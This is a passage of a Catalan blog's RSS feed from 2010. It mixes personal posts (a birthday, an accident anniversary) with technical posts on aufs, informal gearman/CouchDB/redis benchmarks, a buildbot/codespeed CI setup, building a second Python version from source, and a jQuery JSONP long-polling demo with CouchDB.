<li>gràcies a al nou directori virtual podem simular la capacitat de modificar, afegir i borrar elements en un directori de només lectura</li>
<li>suporta la capacitat d&#8217;afegir/treure &#8216;branch&#8217; d&#8217;un directori virtual en calent</li>
</ul>
<p>La llista de funcionalitats és força més llarga però el més important és que el nou <a title="aufs wikipedia page" href="http://en.wikipedia.org/wiki/Aufs">aufs</a> és molt més ràpid i confiable que el <a title="unionFS wikipedia page" href="http://en.wikipedia.org/wiki/UnionFS">unionfs</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/05/31/aufs-la-evolucio-del-unionfs/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>benchmarking: gearman, couchdb i redis</title>
		<link>http://oriolrius.cat/blog/2010/05/12/benchmarking-gearman-couchdb-i-redis?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=benchmarking-gearman-couchdb-i-redis</link>
		<comments>http://oriolrius.cat/blog/2010/05/12/benchmarking-gearman-couchdb-i-redis#comments</comments>
		<pubDate>Wed, 12 May 2010 10:39:59 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[TechTips]]></category>
		<category><![CDATA[administrator]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[benchmarking]]></category>
		<category><![CDATA[couchdb]]></category>
		<category><![CDATA[gearman]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[redis]]></category>
		<category><![CDATA[sqlite]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[tokyo cabinet]]></category>
		<category><![CDATA[tokyocabinet]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2182</guid>
		<description><![CDATA[No es tracta d&#8217;unes proves de rendiment serioses i estríctes, però almenys en el meu cas m&#8217;han servit per tenir una idea del rendiment d&#8217;aquestes aplicacions i poder dissenyar diferents arquitectures amb una mica més de coneixement de causa.
Per si no coneixeu les eines:

gearman: servidor de tasques
couchdb: sistema de bases de dades no relacional
redis: sistema [...]]]></description>
			<content:encoded><![CDATA[<p>No es tracta d&#8217;unes proves de rendiment serioses i estríctes, però almenys en el meu cas m&#8217;han servit per tenir una idea del rendiment d&#8217;aquestes aplicacions i poder dissenyar diferents arquitectures amb una mica més de coneixement de causa.</p>
<p>Per si no coneixeu les eines:</p>
<ul>
<li><a title="gearman site" href="http://gearman.org/">gearman</a>: servidor de tasques</li>
<li><a title="CouchDB site" href="http://couchdb.apache.org/">couchdb</a>: sistema de bases de dades no relacional</li>
<li><a title="redis site" href="http://code.google.com/p/redis/">redis</a>: sistema de caché similar a <a title="memcached" href="http://memcached.org/">memcached</a>, però molt millor sota el meu punt de vista</li>
</ul>
<p>Sistema sobre el que s&#8217;han fet les proves:</p>
<ul>
<li>HP ML110 G5 &#8211; Xeon 2GHz &#8211; 4GB RAM &#8211; HD via NFS
<ul>
<li>Rendiment del disc: Timing buffered disk reads:   26 <acronym title="Megabyte">MB</acronym> in  3.00 seconds =   8.66 <acronym title="Megabyte">MB</acronym>/sec</li>
</ul>
</li>
<li>SO Hypervisor: VMWare ESXi 3.5</li>
<li>Servidor virtual: 1 CPU 2GHz i 512Mb RAM</li>
<li>SO Guest: Ubuntu 8.04 Hardy</li>
</ul>
<p>Resultats de les proves:</p>
<ul>
<li><strong>client de gearman</strong>, fa 5.000 requests al servidor:
<ul>
<li>gearman backend: <strong>default</strong>, cua no persistent
<ul>
<li>cmd: gearmand -vvv -u root</li>
<li>temps: ~32s &#8211; rendiment: <strong>~156req/s</strong></li>
</ul>
</li>
<li>gearman backend: <strong>sqlite3</strong>, cua persistent
<ul>
<li>cmd: ﻿gearmand -vvv -u root &#8211;libsqlite3-db=/tmp/gearman_sqlite3.cache -q libsqlite3﻿</li>
<li>temps: ~11m10s &#8211; rendiment: <strong>~0.8req/s</strong></li>
</ul>
</li>
<li>gearman backend: <strong>tokyo cabinet btree</strong>, cua persistent
<ul>
<li>cmd: ﻿gearmand -q libtokyocabinet &#8211;libtokyocabinet-file=/tmp/gearmand.tcb -vvv -u root</li>
<li>temps: ~2m3s &#8211; rendiment: <strong>~40req/s</strong></li>
</ul>
</li>
<li>gearman backend: <strong>tokyo cabinet hash</strong>, cua persistent
<ul>
<li>cmd: gearmand -q libtokyocabinet &#8211;libtokyocabinet-file=/tmp/gearmand.tch -vvv -u root</li>
<li>temps: ~2m5s &#8211; rendiment: <strong>~40req/s</strong></li>
</ul>
</li>
<li>gearman backend: <strong>tokyo cabinet RAM</strong>, cua no persistent
<ul>
<li>cmd: ﻿﻿gearmand -q libtokyocabinet &#8211;libtokyocabinet-file=&#8221;*&#8221; -vvv -u root</li>
<li>temps: ~17s &#8211; rendiment: <strong>~294req/s</strong></li>
</ul>
</li>
</ul>
</li>
<li>insertem 5.000 documents a <strong>couchdb</strong>:
<ul>
<li>temps: ~14s &#8211; rendiment: <strong>~357req/s</strong></li>
</ul>
</li>
<li><strong>redis</strong> fem 10.000 operacions de tipus:
<ul>
<li><strong>SET</strong>: temps: ~0.35s &#8211; rendiment: <strong>~28.375req/s</strong></li>
<li><strong>GET</strong>: temps: ~0.59s &#8211; rendiment: <strong>~16.920req/s</strong></li>
<li><strong>PING</strong>: temps: ~0.33s &#8211; rendiment: <strong>~30.471req/s</strong></li>
</ul>
</li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/05/12/benchmarking-gearman-couchdb-i-redis/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>avui ja en faig 33</title>
		<link>http://oriolrius.cat/blog/2010/05/09/avui-ja-en-faig-33?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=avui-ja-en-faig-33</link>
		<comments>http://oriolrius.cat/blog/2010/05/09/avui-ja-en-faig-33#comments</comments>
		<pubDate>Sun, 09 May 2010 11:17:36 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Mussols]]></category>
		<category><![CDATA[birth]]></category>
		<category><![CDATA[birthday]]></category>
		<category><![CDATA[congratulations]]></category>
		<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2175</guid>
		<description><![CDATA[m&#8217;hi acabo de fixar, 33 com el canal 33&#8230; si és que jo també em fixo amb unes coses més extranyes.

Doncs bé, com sempre passa en aquests dies no m&#8217;he aixecat massa diferent que cap altre, tot i que he de reconeixer que el &#8220;Petit Chardonnay de Jean Leon&#8221; del sopar ha fet estragos aquesta [...]]]></description>
			<content:encoded><![CDATA[<p>m&#8217;hi acabo de fixar, 33 com el canal 33&#8230; si és que jo també em fixo amb unes coses més extranyes.</p>
<p><img class="alignright" title="33rd birth cup" src="/blog/wp-content/uploads/2010/05/birth_33.jpg" alt="33rd birth cup" /></p>
<p>Doncs bé, com sempre passa en aquests dies no m&#8217;he aixecat massa diferent que cap altre, tot i que he de reconeixer que el &#8220;<a href="http://www.jeanleon.com/eng/vinos-pch.html">Petit Chardonnay</a> de Jean Leon&#8221; del sopar ha fet estragos aquesta nit.  Afegir a més la recomanació del <a href="http://www.santquinti.net/comers/barsirestaurants/lladoner/elslladoners.htm" class="broken_link">restaurant Lledoners a Sant Quintí de Mediona</a> ja hi havia anat a dreginar uns quants cops amb el Francesc però ahir el vaig poder provar en el seu màxim esplendor i ens va agradar molt. A més com a anècdota comentar que m&#8217;hi vaig trobar el Joan Olvieres que havia estat tutor meu a 3er de BUP a més de delegat de l&#8217;equip d&#8217;hoquei patins on erem companys amb el seu fill, per fer-ho més recargolat compartia taula amb l&#8217;ex-alcalde de Torrelavit entre d&#8217;altres cares conegudes.<br />
Pel que fa als regals destacar la raqueta de tenis que tan desitjava que m&#8217;arribes que com no podia ser d&#8217;altre forma m&#8217;ha regalat el meu &#8220;amoriuo&#8221;, una Babolat Pure Drive.</p>
<p style="text-align: center;"><img title="babolat pure drive" src="/blog/wp-content/uploads/2010/05/babolat-pure-drive-cortex.jpg" alt="babolat pure drive" /></p>
<p>Per continuar el dia amb el bon peu que l&#8217;he començat ara toca una bona i emocionant cursa de F1 al circuit de casa, a Montmeló. Això si des del sofà de casa, que de moment fer-ho des del circuit continua sent una assignatura pendent, però tot arribarà. De fet, des de que vaig ser a la final de la <a href="http://www.daviscup.com/">Copa Davis</a> d&#8217;aquest any diria que ja tot és possible.</p>
<p>Que no se m&#8217;oblidi comentar-ho també, el meu autoregal aquest any ha estat una tauleta gràfica, exactament una <a href="http://www.wacom.com/bamboo/bamboo_pen_touch.php">Wacom Bamboo Pen &amp; Touch</a>.</p>
<p style="text-align: center;"><img title="Wacom Bamboo Pen &amp; Touch" src="/blog/wp-content/uploads/2010/05/wacom_bamboo_pen_n_touch.jpg" alt="Wacom Bamboo Pen &amp; Touch" /></p>
<p>Bàsicament les funcions que li vull donar són:</p>
<ul>
<li>fer esquemes a mà alçada, sense haver d&#8217;invertir tan de temps passant-los a net amb Visio, per exemple.</li>
<li>deixar de fer <em>podcasts</em> per passar a fer <em>screencasts</em> al blog, o sigui, anar fent petits esquemes o dibuixos sobre els temes que toco als podcast, ja que pel que m&#8217;han comentat es fan difícils de seguir sense un esquema.</li>
<li>per temes de feina sovint mantic llargues converses telefòniques, ja sigui, via VoIP, per fixe o mòbil; les temàtiques sovint són molt tècniques i difícils de traslladar només amb la veu espero que compartint l&#8217;escriptori i fent esquemes això pugui ser més senzill.</li>
</ul>
<p>Així doncs, el pretenc és millorar les meves eines de comunicació telemàtica recolzant-me amb aquesta nova forma d&#8217;interactuar amb l&#8217;ordinador. Per si tot això fos poc, ja fa dies que estic donant voltes a com reordenar el meu <em>workspace</em> ja que no acabo d&#8217;estar del tot còmode i crec que no acabo de treure-li tot el partit que deuria, així doncs li segueixo donant voltes.</p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/05/09/avui-ja-en-faig-33/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Fa 7 anys que vaig tornar a neixer&#8230;</title>
		<link>http://oriolrius.cat/blog/2010/05/07/fa-7-anys-que-vaig-tornar-a-neixer?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=fa-7-anys-que-vaig-tornar-a-neixer</link>
		<comments>http://oriolrius.cat/blog/2010/05/07/fa-7-anys-que-vaig-tornar-a-neixer#comments</comments>
		<pubDate>Fri, 07 May 2010 08:19:28 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[personal]]></category>
		<category><![CDATA[accident]]></category>
		<category><![CDATA[anniversary]]></category>
		<category><![CDATA[birthday]]></category>
		<category><![CDATA[live]]></category>
		<category><![CDATA[traffic]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2169</guid>
		<description><![CDATA[Avui torna a ser un dia memorable, malgrat sovint només hem felicita la meva parella i algún que altre amic proper per mi continua sent un dia tan o més especial que el dia del meu aniversari, que com passa des de fa 7 anys és dos dies després del dia d&#8217;avui.
Quan tens una experiència [...]]]></description>
			<content:encoded><![CDATA[<p>Avui torna a ser un dia memorable, malgrat sovint només hem felicita la meva parella i algún que altre amic proper per mi continua sent un dia tan o més especial que el dia del meu aniversari, que com passa des de fa 7 anys és dos dies després del dia d&#8217;avui.</p>
<p>Quan tens una experiència d&#8217;aquest tipus tot canvia, però a vegades com avui et preguntes si ho fa prou. Malgrat això el que em continua dient que vaig per bon camí és la sensació de felicitat que porto dins el cor i al veure <a title="fotografies de l'accident" href="http://oriolrius.cat/blog/2003/05/08/accident-ja-tinc-dos-aniversaris-el-7-i-el-9-d-maig">aquestes fotografies</a> la pell es continua posant de gallina:</p>
<p style="text-align: center;"><img class="aligncenter" title="accident bmw" src="http://oriolrius.cat/article_fitxers/313/bmw005.jpg" alt="accident bmw" /></p>
<p style="text-align: left;">Aquest any he decidit celebrar ambdós aniversaris en la intimitat, és a dir, a diferència de la resta d&#8217;anys intentaré que siguin unes jornades de reflexió tranquila sense les grans festes amb els amics que he fet els darrers anys.</p>
<p style="text-align: left;">A més demà passat faré 33 anys que no només és l&#8217;edat en que va morir el meu pare. O sigui, que per mi té un significat especial aquesta edat i per tant espero poder a partir d&#8217;ara poder disfrutar de la vida més que mai per intentar compensar el que el destí li va arrencar al meu pare.</p>
<p style="text-align: left;">Bé doncs, gràcies a tots per ser on sou i per ser com sou&#8230; jo continuo al peu del canó com sempre i amb la moral de ferro.</p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/05/07/fa-7-anys-que-vaig-tornar-a-neixer/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Webs 2.0 interessants: formspring, doodle i uwish</title>
		<link>http://oriolrius.cat/blog/2010/04/29/webs-2-0-interessants-formspring-doodle-i-uwish?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=webs-2-0-interessants-formspring-doodle-i-uwish</link>
		<comments>http://oriolrius.cat/blog/2010/04/29/webs-2-0-interessants-formspring-doodle-i-uwish#comments</comments>
		<pubDate>Thu, 29 Apr 2010 17:17:15 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[doodle]]></category>
		<category><![CDATA[formspring]]></category>
		<category><![CDATA[links]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[social+networks]]></category>
		<category><![CDATA[socialnetworking]]></category>
		<category><![CDATA[uwish]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web2]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2158</guid>
		<description><![CDATA[Aquest mes he publicat articles una mica densos i pesats de seguir, així doncs per relaxar una mica l&#8217;ambient abans de seguir els que tinc preparats que no són menys durs ús deixo amb tres referències que trobo molt interessants:
formspring


URL: http://formspring.me
Descripció: servei molt simple, que permet que la gent ens pregunti coses, nosaltres podem contestar [...]]]></description>
			<content:encoded><![CDATA[<p>Aquest mes he publicat articles una mica densos i pesats de seguir, així doncs per relaxar una mica l&#8217;ambient abans de seguir els que tinc preparats que no són menys durs ús deixo amb tres referències que trobo molt interessants:</p>
<h2>formspring</h2>
<p><img class="size-full wp-image-2162 alignright" title="formspring" src="/blog/wp-content/uploads/2010/04/formspring.png" alt="" width="194" height="45" /></p>
<ul>
<li><strong><acronym title="Uniform Resource Locator">URL</acronym></strong>: <a title="formspring.me" href="http://www.formspring.me/oriolrius">http://formspring.me</a></li>
<li><strong>Descripció</strong>: servei molt simple, que permet que la gent ens pregunti coses, nosaltres podem contestar i queda un registre de les preguntes i respostes. Això ens permet elaborar un <acronym title="Frequently Asked Questions">FAQ</acronym> sense gairebé cap esforç, a més de contestar les preguntes que realment interessen a la gent i no només les que se&#8217;ns acudeixen a nosaltres. Si per casualitat em voleu preguntar alguna cosa: <a title="formspring.me - oriolrius" href="http://www.formspring.me/oriolrius">http://www.formspring.me/oriolrius</a></li>
</ul>
<h2>doodle</h2>
<p><img class="size-full wp-image-2161 alignright" title="doodle" src="/blog/wp-content/uploads/2010/04/doodle.png" alt="" width="157" height="35" /></p>
<ul>
<li><strong><acronym title="Uniform Resource Locator">URL</acronym></strong>: <a title="doodle" href="http://doodle.com">http://doodle.com</a></li>
<li><strong>Descripció</strong>: alguna vegada ja l&#8217;havia usat però mai me l&#8217;havia mirat amb calma, és una eina genial per quan has de prendre una decisió entre un grup de gent. La decisió pot ser sobre una pregnuta o sobre una data. A més també es poden organitzar votacions per un tema, o crear llistes perquè la gent s&#8217;afegeixi i els usuaris es pronunciïn sobre la qüestió. Alguns exemples: quina data quedem per sopar amb la gent de l&#8217;escola? quin disseny ús agrada més? qui vindrà a esquiar aquest cap de setmana?</li>
</ul>
<h2>uwish</h2>
<p><img class="alignright" title="uwish" src="/blog/wp-content/uploads/2010/04/uwish.png" alt="" width="160" height="55" /></p>
<ul>
<li><strong><acronym title="Uniform Resource Locator">URL</acronym></strong>: <a title="uwish" href="http://uwi.sh">http://uwi.sh</a></li>
<li><strong>Descripció</strong>: le descobert per casualitat llegint un blog, que ni recordo quin era. El servei permet tenir la nostre &#8216;<em>wish list</em>&#8216; publicada perquè tothom sapigue què desitgem tenir. Malgrat ser una versió molt inicial, la socialització de la idea la trobo molt interessant i útil. Realment una idea i implementació boníssimes. Si voleu veure la meva wish list: <a title="la meva wish list" href="http://uwi.sh/oriolrius">http://uwi.sh/oriolrius</a>. Trànquils no aspiro a que ningú hem regali res, però m&#8217;agrada tenir referenciades les coses que m&#8217;agradaria comprar-me.</li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/04/29/webs-2-0-interessants-formspring-doodle-i-uwish/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Integració continua: buildbot + codespeed + guppy-pe + resource</title>
		<link>http://oriolrius.cat/blog/2010/04/22/integracio-continua?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=integracio-continua</link>
		<comments>http://oriolrius.cat/blog/2010/04/22/integracio-continua#comments</comments>
		<pubDate>Thu, 22 Apr 2010 12:15:07 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[buildbot]]></category>
		<category><![CDATA[codespeed]]></category>
		<category><![CDATA[compiling]]></category>
		<category><![CDATA[guppy-pe]]></category>
		<category><![CDATA[profiling]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[testing]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2152</guid>
		<description><![CDATA[Degut a un requeriment que teniem a la feina he montat un entorn d&#8217;integració continua. En escència el que es busca és el següent:

Llençar de forma automàtica tests sobre els commits que es fan al codi (buildbot)
Tenir un repositori dels resultats dels tests fàcil de consultar (web) (buildbot)
Suportar tests sobre rendiment (profiling) automàtics (guppy-pe + [...]]]></description>
			<content:encoded><![CDATA[<p>Degut a un requeriment que teniem a la feina he montat un entorn d&#8217;integració continua. En escència el que es busca és el següent:</p>
<ul>
<li>Llençar de forma automàtica tests sobre els commits que es fan al codi (buildbot)</li>
<li>Tenir un repositori dels resultats dels tests fàcil de consultar (web) (buildbot)</li>
<li>Suportar tests sobre rendiment (profiling) automàtics (guppy-pe + resource)</li>
<li>Poder comprovar quina és l&#8217;evolució d&#8217;aquests tests de rendiment amb una eina visual (codespeed)</li>
</ul>
<p>Per tal d&#8217;aconseguir aquests objectius s&#8217;ha usat:</p>
<ul>
<li><strong>buildbot</strong>: que permet automatitzar l&#8217;entorn de compilació i testeix dels commits que es van fent al repositori. (esta programat en python). Per entendre millor buildbot, ús recomano llegir l&#8217;apartat: <a title="buildbot: system architecture" href="http://djmitche.github.com/buildbot/docs/latest/full.html#System-Architecture">system architecure</a> del <a title="buildbot manual" href="http://djmitche.github.com/buildbot/docs/latest/full.html">seu manual</a>.</li>
<li><strong>codespeed</strong>: és una eina feta amb python+django+mysql a través d&#8217;una interficie <acronym title="HyperText Transfer Protocol">HTTP</acronym>+JSON pot injectar informació a la BBDD i a través de la <acronym title="Graphical User Interface">GUI</acronym> ens mostra:
<ul>
<li><strong>overview</strong>: a través d&#8217;una taula mostra les tendències dels resultats dels benchmark associats a un executable.</li>
<li><strong>timeline</strong>: mostra en una gràfica l&#8217;evolució dels resultats arxivats sobre un benchmark concret fets sobre un host.</li>
</ul>
</li>
<li><strong>guppy-pe</strong>: ens permet extreure dades referents als recursos de sistema que esta consumint una part del codi: classe, funció, variable, etc.</li>
<li><strong>resource</strong>: és un módul de python que permet saber (resource.getrusage(PID)) quins recursos esta consumint un PID en un moment donat.</li>
</ul>
<p>Com que la documentació que he fet per la feina l&#8217;he hagut de filtrar per no revelar informació interna, la documentació que publico esta en format OpenOffice i <acronym title="Portable Document Format">PDF</acronym> perquè sigui senzill per tothom llegir-la i modificar-la si vol.</p>
<ul>
<li><a title="Paquete con el código y la documentación de integración continua" href="http://oriolrius.cat/blog/wp-content/uploads/2010/04/integracion-continua.tar.gz">Paquet .tar.gz</a>, conté:
<ul>
<li>fitxer de configuració buildbot, <strong>master.cfg</strong></li>
<li>codi d&#8217;exemple per provar l&#8217;entorn, <strong>buildbot-test</strong></li>
<li>codi del <strong>tobami-codespeed</strong> modificat perquè sigui més generalista que la versió original</li>
<li><strong>integracion-continua-instalacion.odt</strong>: document amb notes sobre els procediments que he seguit per la instal·lació de tot plegat.</li>
<li><strong>integracion-continua-manual.odt</strong>: manual d&#8217;usuari de tot plegat. (també la versió en pdf)</li>
</ul>
</li>
<li><a title="manual de integración continua" href="http://oriolrius.cat/blog/wp-content/uploads/2010/04/integracion-continua-manual.pdf">integracion-continua-manual.pdf</a>: enllaço de forma directa aquest manual per si hi voleu donar un cop d&#8217;ull per saber si ús interessa el tema.</li>
</ul>
<p>Enllaços relacionats:</p>
<ul>
<li><a title="buildbot" href="http://buildbot.net">buildbot</a></li>
<li><a title="codespeed" href="http://wiki.github.com/tobami/codespeed/">codespeed</a></li>
<li><a title="guppy-pe = heapy + gsl" href="http://guppy-pe.sourceforge.net/">guppy-pe</a></li>
<li><a title="resource.getrusage()" href="http://docs.python.org/library/resource.html#resource.getrusage">resource</a></li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/04/22/integracio-continua/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>dues versions de python en un host</title>
		<link>http://oriolrius.cat/blog/2010/04/21/dues-versions-de-python-en-un-host?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=dues-versions-de-python-en-un-host</link>
		<comments>http://oriolrius.cat/blog/2010/04/21/dues-versions-de-python-en-un-host#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:27:37 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[adminstrator]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[system-administrator]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2149</guid>
		<description><![CDATA[A vegades cal fer algún invent extrany amb el python, com per exemple, el haver de tenir dues versions instal·lades. Sovint la nostre distribució ja portarà una versió del mateix i a més moltes eines de les distribucions acostumen a anar lligades a aquesta versió que millor no malmetre.
Cookbook d&#8217;ordres per instal·lar un python 2.6.5 [...]]]></description>
			<content:encoded><![CDATA[<p>A vegades cal fer algún invent extrany amb el python, com per exemple, el haver de tenir dues versions instal·lades. Sovint la nostre distribució ja portarà una versió del mateix i a més moltes eines de les distribucions acostumen a anar lligades a aquesta versió que millor no malmetre.</p>
<p>Cookbook d&#8217;ordres per instal·lar un python 2.6.5 a més del 2.4.3 que ja portava el host:</p>
<pre>cd /var/tmp
wget http://python.org/ftp/python/2.6.5/Python-2.6.5.tar.bz2
tar xvfj Python-2.6.5.tar.bz2
cd Python-2.6.5
./configure --prefix=/usr
make
make altinstall
</pre>
<p>si ara fem:</p>
<pre># python -V
Python 2.4.3
# python2.4 -V
Python 2.4.3
# python2.6 -V
Python 2.6.5
</pre>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/04/21/dues-versions-de-python-en-un-host/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>long polling amb jquery+jsonp+couchdb (cross domain suportat)</title>
		<link>http://oriolrius.cat/blog/2010/04/16/long-polling-amb-jqueryjsonpcouchdb-cross-domain-suportat?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=long-polling-amb-jqueryjsonpcouchdb-cross-domain-suportat</link>
		<comments>http://oriolrius.cat/blog/2010/04/16/long-polling-amb-jqueryjsonpcouchdb-cross-domain-suportat#comments</comments>
		<pubDate>Fri, 16 Apr 2010 17:09:08 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[projects]]></category>
		<category><![CDATA[couchdb]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[jquery-jsonp]]></category>
		<category><![CDATA[json]]></category>
		<category><![CDATA[jsonp]]></category>
		<category><![CDATA[longpoll]]></category>
		<category><![CDATA[longpolling]]></category>
		<category><![CDATA[nosql]]></category>
		<category><![CDATA[notifications]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2143</guid>
		<description><![CDATA[Porto mesos somiant amb fer la prova de concepte que explico en aquest article, intentaré descriure en que consisteix però ja aviso que la cosa és un pèl complicadilla.
Funcionalitats requerides:

long polling: l&#8217;objectiu és rebre els canvis d&#8217;una base de dades de couchdb en temps real sense haver d&#8217;anar preguntant si hi ha canvis, sinó que [...]]]></description>
			<content:encoded><![CDATA[<p>Porto mesos somiant amb fer la prova de concepte que explico en aquest article, intentaré descriure en que consisteix però ja aviso que la cosa és un pèl complicadilla.</p>
<p>Funcionalitats requerides:</p>
<ul>
<li><a title="comet (long polling)" href="http://en.wikipedia.org/wiki/Comet_%28programming%29#Ajax_with_long_polling">long polling</a>: l&#8217;objectiu és rebre els canvis d&#8217;una base de dades de couchdb en temps real sense haver d&#8217;anar preguntant si hi ha canvis, sinó que aquest s&#8217;envien cada vegada que es donen de forma automàtica.</li>
<li>A través de <a title="jQuery site" href="http://jquery.com/">jQuery</a> el que vull és actualitzar una pàgina web de forma asíncrona, de forma que els nous resultats que vagin entrant a la BBDD es vagin mostrant en temps real a la pantalla.</li>
<li><a title="JSON with Padding" href="http://en.wikipedia.org/wiki/JSON#JSONP">JSONP</a>, és una tècnica que ens permet rebre la sortida <a title="JSON" href="http://en.wikipedia.org/wiki/JSON">JSON</a> de CouchDB i després cridar una funció de callback de JavaScript. El problema és que la funció jQuery.getJSON() original de jQuery té algunes mancances que gràcies a el plugin <a title="jquery-jsonp plugin" href="http://code.google.com/p/jquery-jsonp/">jQuery-JSONP</a> podem solucionar, aquestes són: (copy/paste de la web del plugin)
<ul>
<li><strong>error recovery</strong> in case of network failure or ill-formed JSON responses,</li>
<li>precise <strong>control over callback naming</strong> and how it is transmitted in the <acronym title="Uniform Resource Locator">URL</acronym>,</li>
<li>multiple requests with the <strong>same callback name running concurrently</strong>,</li>
<li><strong>two caching mechanisms</strong> (browser-based and page based),</li>
<li>the possibility to <strong>manually abort</strong> the request just like any other <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> request,</li>
<li>a <strong>timeout</strong> mechanism.</li>
</ul>
</li>
<li><a name="Features"></a><a title="CouchDB site" href="http://couchdb.apache.org/">CouchDB</a> és una base de dades <a title="wikipedia: NoSQL" href="http://en.wikipedia.org/wiki/NoSQL">NoSQL</a> basada en documents que és capaç d&#8217;emetre una senyal (trigger) cada vegada que el contingut d&#8217;una base de dades canvia. Per més informació sobre el tema es pot consultar a: <a title="CouchDB: The Definitive Guide" href="http://books.couchdb.org/relax/">CouchDB: The Definitive Guide</a> al capítol <a title="change notifications chapter" href="http://books.couchdb.org/relax/reference/change-notifications">Change Notifications</a>.</li>
<li>Cross-domain: quan es llença una petició XmlHttpRequest (la base del <acronym title="Asynchronous JavaScript and XML">AJAX</acronym>) amb JavaScript tenim la limitació de només poder-ho fer sobre el domini que serveix la pàgina web, cap altre port ni subdomini. Obviament tampoc un altre host. Per saltar-se aquesta restricción és quan cal recorrer a <a title="JSON with Padding" href="http://en.wikipedia.org/wiki/JSON#JSONP">JSONP</a>.</li>
</ul>
<p>La prova de concepte ha estat crear una base de dades anomenada: <strong>notifcations</strong> on es guarden documents que són notificacions a mostrar a la pàgina web.</p>
<p>Després he programat la següent web:</p>
<pre>&lt;html&gt;
&lt;head&gt;
&lt;script type="text/javascript" src="jquery-1.4.2.min.js"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="jquery.jsonp-1.1.4.js"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
function longpoll(since) {
    var url = "http://IP_COUCHDB_SERVER:5984/notifications/_changes?include_docs=true&amp;feed=longpoll&amp;since="+since+"&amp;callback=?";
    console.log("since="+since);
    $.jsonp({
        "url":url,
        "success":function(data) {
            //console.log(data);
            since=data.last_seq;
            try {
                console.log(data.results[0].doc.msg);
            } catch(err) {
                console.log("error:"+err);
            };
            longpoll(since);
        },
        "error":function(msg) {
            //console.log(msg);
            console.log('capturat error');
        }
    });
};

var url = "http://IP_COUCHDB_SERVER:5984/notifications?callback=?";
$.jsonp({
    "url":url,
    "success":function(data) {
        //console.log(data);
        longpoll(data.update_seq);
    },
    "error":function(msg) {
        console.log(msg);
    }
});
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
cos
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>El codi és força simple de seguir, primer de tot es carreguen les llibreries: <strong>jQuery 1.4.2</strong> i <strong>jquery-jsonp 1.1.4</strong>, ambdues necessaries per cridar el métode <strong>$.jsonp</strong> que és el que realment farà la feina.</p>
<p>A continuació es declara <strong>la funció longpoll</strong> que té com a paràmetre el númeral que indica quin ha estat el últim canvi a la base de dades. Aquest s&#8217;utiliza per construir la petició que es fa a CouchDB:</p>
<pre>var url = "http://IP_COUCHDB_SERVER:5984/notifications/_changes?include_docs=true&amp;feed=longpoll&amp;since="+since+"&amp;callback=?";</pre>
<p>La <acronym title="Uniform Resource Locator">URL</acronym> el que fa és demanar el següent:</p>
<ul>
<li>els canvis (<strong>_changes</strong>)</li>
<li>incloent els documents que han canviat (<strong>include_docs=true</strong>)</li>
